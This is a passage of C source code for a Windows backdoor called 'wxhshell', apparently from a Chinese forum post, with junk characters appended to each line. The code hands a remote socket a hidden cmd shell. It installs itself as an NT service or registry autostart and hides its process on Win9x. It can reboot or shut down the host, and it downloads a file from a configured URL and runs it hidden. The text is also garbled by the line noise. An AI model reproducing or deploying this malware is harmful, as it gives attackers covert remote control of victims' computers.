  else { 70Z#Ej  
/BN_K8nb`  
    switch(cmd[0]) { fex<9'e  
  \img   
  // 帮助 'r 0kX||  
  case '?': { @'AjEl:&-_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _-+xzdGvX  
    break; j:>_1P/  
  } 3u,CI!  
  // 安装 _Jt  
  case 'i': { ?zP/i(1y  
    if(Install()) xCTPsw]s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xVp}RLT  
    else -Z(='A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P$7i>(?(  
    break; )hy(0 D  
    }  Q4R*yRk  
  // 卸载 ye^*Z>|  
  case 'r': { *"qS  
    if(Uninstall()) 1-=ZIHW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KkJrh@lk  
    else wJAJ /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *DUP$@}k  
    break; =:"wU  
    } gVscdg5  
  // 显示 wxhshell 所在路径 je#OV,uHM  
  case 'p': { !E@4^A80\W  
    char svExeFile[MAX_PATH]; uB@~xQ_V  
    strcpy(svExeFile,"\n\r"); v? Ufx  
      strcat(svExeFile,ExeFile); }mdk+IEt  
        send(wsh,svExeFile,strlen(svExeFile),0); ,'Sj:l  
    break; '_~qAx@F#c  
    } ^0tO2$  
  // 重启 }N0$DqP  
  case 'b': { xQ0.2[*5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B?gFFU61  
    if(Boot(REBOOT)) @,^c?v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V1-URC24vd  
    else { jY1^I26E  
    closesocket(wsh); uB1>.Pvxb  
    ExitThread(0); k[Ue}L|  
    } om oD +  
    break; Da3Z>/S  
    } tv 7"4$T  
  // 关机 4`[2Te>  
  case 'd': { 2{}8_G   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5._1G| 3  
    if(Boot(SHUTDOWN)) xO_u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uvMc B9  
    else { ZJf:a}=h  
    closesocket(wsh); Z#NEa.]  
    ExitThread(0); sS{!z@\Lf  
    } M 8NWQ^Y  
    break; 4.e0k<]N`  
    } `i5\(cdl  
  // 获取shell MLT ^7'y  
  case 's': { UP .4#1I  
    CmdShell(wsh); r "uQ|  
    closesocket(wsh); IY"+hHt  
    ExitThread(0); |>zYUT[V  
    break; E=# O|[=  
  } dRL*TT0NW  
  // 退出 i9+qU  
  case 'x': { zI.%b7wq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BqtUL_jm  
    CloseIt(wsh);  P y!$r  
    break; <8iu:nR  
    } fNk0&M  
  // 离开 wLa8&E[  
  case 'q': { 7!g"q\s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8G )O,F7z  
    closesocket(wsh); 1smKU9B2)  
    WSACleanup(); BVzMgn;  
    exit(1); <~teD[1k"  
    break; _Kwp8_kTr  
        } 5ktFL<^5T  
  } f\vMdY  
  } 1k0*WCfZ  
:|a$[g5  
  // 提示信息 cH:9@>'$a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qf($F,)K  
} gwyX%9  
  } @j<Q2z^  
;DgQ8"f  
  return; =Cc]ugl7-  
} EC/=JlL`5  
gvFs$X*^:  
// shell模块句柄 e'|IRhr  
int CmdShell(SOCKET sock) zQ#2BOx1  
{ 6L<QKE=  
STARTUPINFO si; S| |OSxZ  
ZeroMemory(&si,sizeof(si)); $d*PY_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HChlkj'7w0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d6e$'w@(\T  
PROCESS_INFORMATION ProcessInfo; M2Jb<y]  
char cmdline[]="cmd"; hem>@Bp'V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n{I1ZlEeh  
  return 0; ,L=lg,lH^  
} : "^/?Sd  
B|K^:LUk9  
// 自身启动模式 MxDqp;  
int StartFromService(void) ]@!3os,CNF  
{ VA5f+c/ %  
typedef struct v^dQ%+}7>  
{ jG`,k*eUrJ  
  DWORD ExitStatus; &~:+2  
  DWORD PebBaseAddress; d7G DIYH<  
  DWORD AffinityMask; Q9Vj8JO"{  
  DWORD BasePriority; 4Opf[3]  
  ULONG UniqueProcessId; _<%YLv  
  ULONG InheritedFromUniqueProcessId; /'a\$G"%6  
}   PROCESS_BASIC_INFORMATION; w0X})&,{`m  
FQ"ED:lks  
PROCNTQSIP NtQueryInformationProcess; 12@Ge]  
~gdnD4[G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?sv[vR(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .hRtQU  
Dkg^B@5Xr  
  HANDLE             hProcess; z |8zNt Ug  
  PROCESS_BASIC_INFORMATION pbi; VG_xNM  
}5AA}=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []G@l. ]W  
  if(NULL == hInst ) return 0; Q7]bUPDO  
GuC 9h^[=M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mwutv8?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =I0J1Ob  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f#McTC3C  
wb>"'%  
  if (!NtQueryInformationProcess) return 0; qr(t_qR&  
i9Eh1A3Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AC*SmQ\>!  
  if(!hProcess) return 0; PqMu2 e  
wf_ $#.;m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~^PNMZk  
i&q_h>ZT g  
  CloseHandle(hProcess); 8g {;o 7  
E|A~T7G=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z.|[g$F  
if(hProcess==NULL) return 0; OF0v0Y/a  
jx}7/  
HMODULE hMod; &b'{3o_KN  
char procName[255]; ZnBGNr  
unsigned long cbNeeded; s"5nfl  
p fR~?jYzm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lvrflx*Q  
2 sj: &][R  
  CloseHandle(hProcess); mU]pK5  
RivhEc1h%  
if(strstr(procName,"services")) return 1; // 以服务启动 ?{P$|:ha  
'Ck:=V%}g  
  return 0; // 注册表启动 LLL;SNY  
} m@']%X*(,  
?<rZ9$  
// 主模块 T$sm}=  
int StartWxhshell(LPSTR lpCmdLine) biZ=TI2P,L  
{ p|em_!H"SH  
  SOCKET wsl; XQ2 YUe]DJ  
BOOL val=TRUE; /9,y+"0SQz  
  int port=0; gnYo/q=K  
  struct sockaddr_in door; >2v<;.  
Cj=_WWo  
  if(wscfg.ws_autoins) Install(); o;21|[z  
Tb!FO"o  
port=atoi(lpCmdLine); dA^{}zZu  
;oO_5[,M  
if(port<=0) port=wscfg.ws_port; C~WWuju'  
A-, hm=?  
  WSADATA data; =b8u8*ua  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B.!&z-)#  
c D .;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X3] [C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uqD|j:~ =k  
  door.sin_family = AF_INET; s@E) =;!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nvA7eTO6C  
  door.sin_port = htons(port); L F&!od9[  
E:-~SH}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S|T_<FCY  
closesocket(wsl); w}s5=>QG%  
return 1; x|gYxZ  
} %{Obh j;c  
]E)D})r`#  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Kl"V% >  
closesocket(wsl); lbGPy'h<rt  
return 1; '-mzt~zGOY  
} ?mF:L"i  
  Wxhshell(wsl); S..8,5mBH  
  WSACleanup();  :YPi>L5  
}=JS d@`_  
return 0; A H=%6oT2  
Xpv<v[a  
} -zWNQp$  
$$SJLV  
// 以NT服务方式启动 C$$Zwgy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RR|X4h0.  
{ VrWQ]L  
DWORD   status = 0; QpA$='  
  DWORD   specificError = 0xfffffff; #R7hk5/8n}  
1Y%lt5,*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q`{Vs:8X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [e_<UF@A*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?B@3A)a  
  serviceStatus.dwWin32ExitCode     = 0; Gm &jlN  
  serviceStatus.dwServiceSpecificExitCode = 0; O.Y|},F  
  serviceStatus.dwCheckPoint       = 0; C+>mehDC_G  
  serviceStatus.dwWaitHint       = 0; H0jbG;  
8C[eHC*r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hL&7D @  
  if (hServiceStatusHandle==0) return; Vk*XiEfKm>  
}{kn/m/  
status = GetLastError(); :S}ZF$ $j%  
  if (status!=NO_ERROR) 72/ bC  
{ 4"\x#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @BPQ >  
    serviceStatus.dwCheckPoint       = 0; O S#RCN*  
    serviceStatus.dwWaitHint       = 0;  w%::~]  
    serviceStatus.dwWin32ExitCode     = status; Spu;   
    serviceStatus.dwServiceSpecificExitCode = specificError; l8:!{I?s=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -x:7K\=$SX  
    return; ,%qP   
  } e z_c;  
$5\!ws<cZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {=,G>p  
  serviceStatus.dwCheckPoint       = 0; %_!0V*X*  
  serviceStatus.dwWaitHint       = 0; rP,|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [P0c,97_ H  
} j'Q0DF=GV  
]HB1JJiS~  
// 处理NT服务事件,比如:启动、停止 .tHjGx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `z.sWF|f!O  
{ >DbG )0|  
switch(fdwControl) 2^"! p;WQ  
{ kw} E0uY  
case SERVICE_CONTROL_STOP: j+S&5C/{  
  serviceStatus.dwWin32ExitCode = 0; -ik=P ]?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N"tX K  
  serviceStatus.dwCheckPoint   = 0;  DZ4gp  
  serviceStatus.dwWaitHint     = 0; >;F}>_i  
  { /reGT!u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x>,wmk5)  
  } (kyRx+gA  
  return; 9G"4w`P  
case SERVICE_CONTROL_PAUSE: :4x6dYNU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VKfpk^rU  
  break; L@jpid95  
case SERVICE_CONTROL_CONTINUE: mM2I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u~ VXe  
  break; IwS<p -  
case SERVICE_CONTROL_INTERROGATE: OoRg:"9{#  
  break; !)CY\c4}d>  
}; f3^qO9R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:Rm(ga9  
} f:y:: z  
GT80k]e.  
// 标准应用程序主函数 B.smQt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MRZN4<}9  
{ ZsCwNZR  
Nf2lw]-G4  
// 获取操作系统版本 b|G~0[g  
OsIsNt=GetOsVer(); :7X{s4AU6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vq/hk  
1|s` z  
  // 从命令行安装 0v6Z 4Ahpo  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ %|b6Gr/&  
;CoD5F!  
  // 下载执行文件 T00sYoK  
if(wscfg.ws_downexe) { ~IPATG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U%Hcc k'  
  WinExec(wscfg.ws_filenam,SW_HIDE); nv7)X2jja  
} PMX'vA`  
m(dW["8D  
if(!OsIsNt) { fZS'e{V  
// 如果时win9x,隐藏进程并且设置为注册表启动 R?,v:S&i7;  
HideProc(); ew~uOG+  
StartWxhshell(lpCmdLine); 7/fJQM  
} T,Q7 YI  
else "vkM*HP  
  if(StartFromService()) uZ@qlq8  
  // 以服务方式启动 !>wu7u-  
  StartServiceCtrlDispatcher(DispatchTable); a+CJJ3T-  
else #7sxb  
  // 普通方式启动 m*h O@M  
  StartWxhshell(lpCmdLine); ~(NFjCUY?  
1K)9fMr]  
return 0; p%X.$0  
}
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只看该作者 1 发表于: 2006-10-10
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